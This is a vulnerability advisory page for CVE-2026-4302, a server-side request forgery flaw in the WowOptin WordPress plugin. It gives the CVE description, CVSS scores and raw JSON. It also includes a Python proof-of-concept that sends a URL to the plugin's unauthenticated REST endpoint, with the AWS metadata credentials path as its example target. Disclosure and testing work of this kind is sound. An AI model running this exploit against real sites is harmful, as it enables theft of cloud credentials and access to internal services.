Security Vulnerability Report
中文
CVE-2026-4302 CVSS 7.2 HIGH

CVE-2026-4302

Published: 2026-03-21 02:16:18
Last Modified: 2026-04-22 21:32:08

Description

The WowOptin: Next-Gen Popup Maker plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.4.29. This is due to the plugin exposing a publicly accessible REST API endpoint (optn/v1/integration-action) with a permission_callback of __return_true that passes user-supplied URLs directly to wp_remote_get() and wp_remote_post() in the Webhook::add_subscriber() method without any URL validation or restriction. The plugin does not use wp_safe_remote_get/post which provide built-in SSRF protection. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application, which can be used to query and modify information from internal services.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WowOptin: Next-Gen Popup Maker <= 1.4.29

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def check_ssrf(target_url, internal_url): """ PoC for CVE-2026-4302 Target: WordPress WowOptin Plugin """ # The vulnerable endpoint endpoint = "/wp-json/optn/v1/integration-action" full_url = f"{target_url}{endpoint}" # Payload containing the internal URL to access # Example: accessing AWS metadata or local localhost payload = { "url": internal_url } try: response = requests.post(full_url, json=payload, timeout=10) if response.status_code == 200: print(f"[+] Request successful! Server responded with status {response.status_code}") print(f"[+] Response body: {response.text[:200]}") print("[+] This indicates the server is processing the external request.") else: print(f"[-] Server responded with status {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with target WordPress site internal = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Example internal target check_ssrf(target, internal)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4302", "sourceIdentifier": "[email protected]", "published": "2026-03-21T02:16:18.260", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WowOptin: Next-Gen Popup Maker plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.4.29. This is due to the plugin exposing a publicly accessible REST API endpoint (optn/v1/integration-action) with a permission_callback of __return_true that passes user-supplied URLs directly to wp_remote_get() and wp_remote_post() in the Webhook::add_subscriber() method without any URL validation or restriction. The plugin does not use wp_safe_remote_get/post which provide built-in SSRF protection. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application, which can be used to query and modify information from internal services."}, {"lang": "es", "value": "El plugin WowOptin: Next-Gen Popup Maker para WordPress es vulnerable a falsificación de petición del lado del servidor en todas las versiones hasta la 1.4.29, inclusive. Esto se debe a que el plugin expone un endpoint de API REST de acceso público (optn/v1/integration-action) con un permission_callback de __return_true que pasa URLs proporcionadas por el usuario directamente a wp_remote_get() y wp_remote_post() en el método Webhook::add_subscriber() sin ninguna validación o restricción de URL. El plugin no utiliza wp_safe_remote_get/post que proporcionan protección SSRF incorporada. Esto hace posible que atacantes no autenticados realicen peticiones web a ubicaciones arbitrarias originadas desde la aplicación web, lo que puede usarse para consultar y modificar información de servicios internos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/optin/tags/1.4.23/frontend/class-rest-frontend.php#L44", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/optin/tags/1.4.23/frontend/class-rest-frontend.php#L55", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/optin/tags/1.4.23/includes/integrations/implementations/class-webhook.php#L38", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/optin/tags/1.4.23/includes/integrations/implementations/class-webhook.php#L45", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/optin/trunk/frontend/class-rest-frontend.php#L44", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/optin/trunk/frontend/class-rest-frontend.php#L55", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/optin/trunk/includes/integrations/implementations/class-webhook.php#L38", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/optin/trunk/includes/integrations/implementations/class-webhook.php#L45", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3484392%40optin&new=3484392%40optin&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b1c3e480-0221-4913-bcce-f34ded9edca8?source=cve", "source": "[email protected]"}]}}